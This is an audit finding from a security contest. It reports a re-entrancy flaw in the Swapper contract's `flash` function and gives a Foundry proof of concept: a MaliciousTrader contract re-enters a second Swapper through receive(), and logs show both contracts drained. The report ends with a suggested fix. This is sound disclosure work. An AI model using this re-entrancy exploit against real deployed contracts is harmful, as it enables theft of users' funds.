amaechieth - Re-entrancy in `flash` allows trader to steal funds from different `Swapper` contracts

[sherlock-admin]

amaechieth

high

Re-entrancy in flash allows trader to steal funds from different Swapper contracts

Summary

In SwapperImpl.sol CEI is not followed allowing for re-entrancy in the internal function _transferToTrader. This triggers a callback for the msg.sender (trader) before _transferToBeneficiary is called.

This allows the trader to call flash on multiple Swapper contracts in a single transaction and steal tokens/ETH.

Vulnerability Detail

The following test can be inserted into the existing test suite.

ADD to set-up lines with // ADD THIS

Storage Variables:

SwapperImpl swapper2; // ADD THIS
address thief; // ADD THIS

Setup:

function setUp() public virtual override {
        super.setUp();
        // set up oracle
        oracleFactory = new UniV3OracleFactory({
            uniswapV3Factory_: IUniswapV3Factory(UNISWAP_V3_FACTORY),
            weth9_: WETH9
        });
        // TODO: add other attributes?
        initOracleParams.owner = users.alice;
        oracle = oracleFactory.createUniV3Oracle(initOracleParams);
        oracleParams.oracle = oracle;

        // set up swapper
        swapperFactory = new SwapperFactory();
        swapperImpl = swapperFactory.swapperImpl();

        beneficiary = users.bob;

        createSwapperParams = SwapperFactory.CreateSwapperParams({
            owner: users.alice,
            paused: false,
            beneficiary: beneficiary,
            tokenToBeneficiary: ETH_ADDRESS,
            oracleParams: oracleParams
        });
        initParams = SwapperImpl.InitParams({
            owner: users.alice,
            paused: false,
            beneficiary: beneficiary,
            tokenToBeneficiary: ETH_ADDRESS,
            oracle: oracle
        });

        swapper = swapperFactory.createSwapper(createSwapperParams);
        _deal({account: address(swapper)});

        // Create Swapper2
        swapper2 = swapperFactory.createSwapper(createSwapperParams); // ADD THIS
        _deal({account: address(swapper2)}); // ADD THIS

        swapperImplHarness = new SwapperImplHarness();
        swapperImplHarness.initializer(initParams);
        _deal({account: address(swapperImplHarness)});

        ethQuoteParams.push(
            OracleImpl.QuoteParams({
                quotePair: QuotePair({base: address(mockERC20), quote: ETH_ADDRESS}),
                baseAmount: 1 ether,
                data: ""
            })
        );
        mockERC20QuoteParams.push(
            OracleImpl.QuoteParams({
                quotePair: QuotePair({base: ETH_ADDRESS, quote: address(mockERC20)}),
                baseAmount: 100 ether,
                data: ""
            })
        );

        mockQuoteAmounts.push(1 ether);

        trader = address(new Trader());
        thief = address(new MaliciousTrader(swapper2, address(mockERC20))); // ADD THIS
        _deal({account: trader});
        _deal({account: thief});

        quoteParams = ethQuoteParams;
        qp = quoteParams[0];
        base = qp.quotePair.base;
        quote = qp.quotePair.quote;

        traderBasePreBalance = base._balanceOf(trader);
        swapperBasePreBalance = base._balanceOf(address(swapper));
        beneficiaryBasePreBalance = base._balanceOf(beneficiary);

        traderQuotePreBalance = quote._balanceOf(trader);
        swapperQuotePreBalance = quote._balanceOf(address(swapper));
        beneficiaryQuotePreBalance = quote._balanceOf(beneficiary);

        vm.mockCall({
            callee: address(oracle),
            msgValue: 0,
            data: abi.encodeCall(OracleImpl.getQuoteAmounts, (ethQuoteParams)),
            returnData: abi.encode(mockQuoteAmounts)
        });
        vm.mockCall({
            callee: address(oracle),
            msgValue: 0,
            data: abi.encodeCall(OracleImpl.getQuoteAmounts, (mockERC20QuoteParams)),
            returnData: abi.encode(mockQuoteAmounts)
        });
    }

Add this test to test suite

function test_fallback() public unpaused {
        // If Swapper sends ETH to user can we trigger fallback?

        // Create Swapper that sends ETH to user
        initParams.tokenToBeneficiary = mockERC20;
        vm.startPrank(address(swapperFactory));
        swapper.initializer(initParams);
        swapper2.initializer(initParams);
        vm.stopPrank();

        quoteParams = mockERC20QuoteParams;
        qp = quoteParams[0];
        base = qp.quotePair.base;
        quote = qp.quotePair.quote;

        vm.startPrank(thief);

        MockERC20(mockERC20).approve(address(swapper), type(uint256).max);
        MockERC20(mockERC20).approve(address(swapper2), type(uint256).max);

        vm.mockCall({
            callee: thief,
            msgValue: 0,
            data: abi.encodeCall(ISwapperFlashCallback.swapperFlashCallback, (quote, 1 ether, "")), 
            returnData: ""
        });

        uint swapperERC20Pre = base._balanceOf(address(swapper));

        uint swapperETHPre = address(swapper).balance;

        uint traderERC20Pre = base._balanceOf(thief);
        uint traderETHPre = address(thief).balance;

        uint swapper2ERC20Pre = base._balanceOf(address(swapper2));

        uint swapper2ETHPre = address(swapper2).balance;
        uint beneficiaryERC20Pre = base._balanceOf(beneficiary);
        uint beneficiaryETHPre = address(beneficiary).balance;

        swapper.flash(quoteParams, ""); 

        uint swapperERC20BalancePost = base._balanceOf(address(swapper));
        uint swapperETHBalancePost = address(swapper).balance;
        console.log("swapperERC20Pre:         ", swapperERC20Pre);
        console.log("swapperERC20BalancePost: ", swapperERC20BalancePost);
        console.log("******************************************************************");
        console.log("swapperETHPre:         ", swapperETHPre);
        console.log("swapperETHBalancePost: ", swapperETHBalancePost);
        console.log("******************************************************************");

        uint TraderERC20BalancePost = base._balanceOf(thief);
        uint TraderETHBalancePost = address(thief).balance;
        console.log("******************************************************************");
        console.log("traderERC20Pre:         ", traderERC20Pre);
        console.log("TraderERC20BalancePost: ", TraderERC20BalancePost);
        console.log("******************************************************************");
        console.log("traderETHPre:         ", traderETHPre);
        console.log("TraderETHBalancePost: ", TraderETHBalancePost);
        console.log("******************************************************************");

        uint swapper2ERC20BalancePost = base._balanceOf(address(swapper2));
        uint swapper2ETHBalancePost = address(swapper2).balance;
        console.log("swapper2ERC20Pre:         ", swapper2ERC20Pre);
        console.log("swapper2ERC20BalancePost: ", swapper2ERC20BalancePost); 
        console.log("******************************************************************");
        console.log("swapper2ETHPre:         ", swapper2ETHPre);
        console.log("swapper2ETHBalancePost: ", swapper2ETHBalancePost);
        console.log("******************************************************************");
        uint beneficiaryERC20BalancePost = base._balanceOf(beneficiary);
        console.log("beneficiaryERC20Pre:         ", beneficiaryERC20Pre);
        console.log("beneficiaryERC20BalancePost: ", beneficiaryERC20BalancePost);
        console.log("******************************************************************");
        console.log("beneficiaryETHPre:         ", beneficiaryETHPre);
        uint beneficiaryETHBalancePost = address(beneficiary).balance;
        console.log("beneficiaryETHBalancePost: ", beneficiaryETHBalancePost);
    }

Add this contract to test suite

contract MaliciousTrader is BaseTest {  
    using TokenUtils for address;

    SwapperImpl swapper2;
    OracleImpl.QuoteParams[] quoteParams;
    uint public reenterCount;
    constructor(SwapperImpl swapper_, address mockERC20_) {
        swapper2 = swapper_;
        mockERC20 = mockERC20_;

    }
    receive() external payable {

        reenterCount++;
        if (reenterCount > 1) {
            return;
        }

        quoteParams.push(
            OracleImpl.QuoteParams({
                quotePair: QuotePair({base: ETH_ADDRESS, quote: address(mockERC20)}),
                baseAmount: 100 ether, 
                data: ""
            })
        );

        swapper2.flash(quoteParams, "");
    }
}

Logs:

Logs:
  swapperERC20Pre:          1000000000000000000000
  swapperERC20BalancePost:  900000000000000000000
  ******************************************************************
  swapperETHPre:          1000000000000000000000
  swapperETHBalancePost:  900000000000000000000
  ******************************************************************
  ******************************************************************
  traderERC20Pre:          1000000000000000000000
  TraderERC20BalancePost:  1200000000000000000000
  ******************************************************************
  traderETHPre:          1000000000000000000000
  TraderETHBalancePost:  1200000000000000000000
  ******************************************************************
  swapper2ERC20Pre:          1000000000000000000000
  swapper2ERC20BalancePost:  900000000000000000000
  ******************************************************************
  swapper2ETHPre:          1000000000000000000000
  swapper2ETHBalancePost:  900000000000000000000
  ******************************************************************
  beneficiaryERC20Pre:          1000000000000000000000
  beneficiaryERC20BalancePost:  1000000000000000000000
  ******************************************************************
  beneficiaryETHPre:          1000000000000000000000
  beneficiaryETHBalancePost:  1000000000000000000000

Impact

This test shows that the thief, a trader, increases their ERC20 & ETH balance while decreasing the Swapper & Swapper2 balances. This also shows how this vulnerability causes the beneficiary to not gain anything

Code Snippet

SwapperImpl.sol

function flash(OracleImpl.QuoteParams[] calldata quoteParams_, bytes calldata callbackData_)
        external
        payable
        pausable
    {
        address _tokenToBeneficiary = $tokenToBeneficiary;
        (uint256 amountToBeneficiary, uint256[] memory amountsToBeneficiary) =
            _transferToTrader(_tokenToBeneficiary, quoteParams_);

        ISwapperFlashCallback(msg.sender).swapperFlashCallback({
            tokenToBeneficiary: _tokenToBeneficiary,
            amountToBeneficiary: amountToBeneficiary,
            data: callbackData_
        });

        uint256 excessToBeneficiary = _transferToBeneficiary(_tokenToBeneficiary, amountToBeneficiary);

        emit Flash(msg.sender, quoteParams_, _tokenToBeneficiary, amountsToBeneficiary, excessToBeneficiary);
    }

SwapperImpl.sol

tokenToTrader._safeTransfer(msg.sender, amountToTrader);

Tool used

Manual Review

Recommendation

Change the _transferToTrader function to cache & return the amount of tokens to be transferred to the trader, then perform the transfer after _transferToBeneficiary has been called.

Duplicate of #49